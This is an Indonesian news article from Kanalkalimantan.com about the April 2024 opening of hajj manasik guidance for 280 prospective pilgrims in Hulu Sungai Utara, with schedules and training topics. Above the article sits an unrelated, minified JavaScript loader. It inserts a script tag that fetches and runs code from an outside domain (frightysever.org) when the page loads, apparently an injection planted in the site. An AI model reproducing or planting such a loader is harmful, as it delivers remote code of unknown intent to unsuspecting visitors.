(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bimbingan Manasik Haji di HSU Dimulai, 280 Calon Jemaah Haji Berangkat Tahun Ini

KANALKALIMANTAN.COM, AMUNTAI – Sekertaris Daerah (Sekda) Kabupaten Hulu Sungai Utara (HSU) membuka secara resmi bimbingan manasik haji bagi jemaah reguler Kabupaten HSU yang diselenggarakan Kantor Kementerian Agama (Kemenag) Kabupaten HSU di aula Dr KH Idham Chalid, Rabu (17/4/2024).

Sekda HSU Adi Lesmana berpesan kepada calon jemaah mengikuti bimbingan manasik haji dengan bersungguh-sungguh agar nantinya para jemaah haji Kabupaten HSU dapat menjadi haji yang mabrur.

Lebih lanjut, dikatakan Sekda bahwa bimbingan manasik ini dilaksanakan dengan tujuan agar para jemaah lebih siap dan mandiri dalam melaksanakan ibadah haji.

“Jadi memperoleh haji mabrur sepulang dari Tanah Suci, selain itu jemaah juga harus bisa menjaga kesehatan,” kata Adi Lesmana.

Sementara itu, Kepala Kantor Kemenag HSU Hj Nahdiyatul Husna menyebutkan total 280 calon jemaah haji Kabupaten HSU yang mengikuti kegiatan manasik haji kali ini.

“Calon jemaah haji Hulu Sungai Utara insyaallah akan berangkat pada musim haji tahun 1445 Hijriyah sebanyak 280 orang. Laki-laki 133 orang dan perempuan 147 orang,” jelasnya.

Bimbingan manasik haji dilaksanakan pada dua tingkatan, yaitu pada tingkat kecamatan dan tingkat kabupaten. Manasik haji tingkat kecamatan dilaksanakan delapan kali dan tingkat kabupaten dua kali.

“Ditambah dengan bimbingan manasik haji bagi ketua regu dan ketua rombongan yang dilaksanakan satu kali pertemuan,” tambahnya.

Hj Nahdiyatul Husna mengharapkan calon jemaah haji dapat mengetahui tentang regulasi haji, kewajiban pemerintah terhadap jemaah.

Kegiatan manasik haji tingkat Kabupaten HSU dilaksanakan pada 17 April dan 30 April 2024, sedangkan untuk tingkat kecamatan akan dilaksanakan pada 20-27 April 2024.

Pada pertemuan pertama, bimbingan manasik haji tingkat kabupaten membahas mengenal dua hal yaitu kebijakan pemerintah Indonesia tentang penyelenggaraan ibadah haji dan umrah, dan kebijakan pemerintah Arab Saudi tentang penyelenggaraan ibadah haji dan umrah.

Pada ertemuan kedua, calon jemaah akan memperoleh materi tentang kebijakan pemerintah terhadap jemaah haji lansia, kebijakan pelayanan kesehatan haji, senam haji, alur perjalanan ibadah haji, hingga tata kelola daging hadyu (DAM)

Bimbingan manasik haji di tingkat kecamatan, calon jemaah akan memperoleh materi seputar hak dan kewajiban jemaah, pencegahan dan pengendalian penyakit, pemantapan ibadah, dan tata cara pelaksanaan ibadah haji reguler dan lansia.(Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie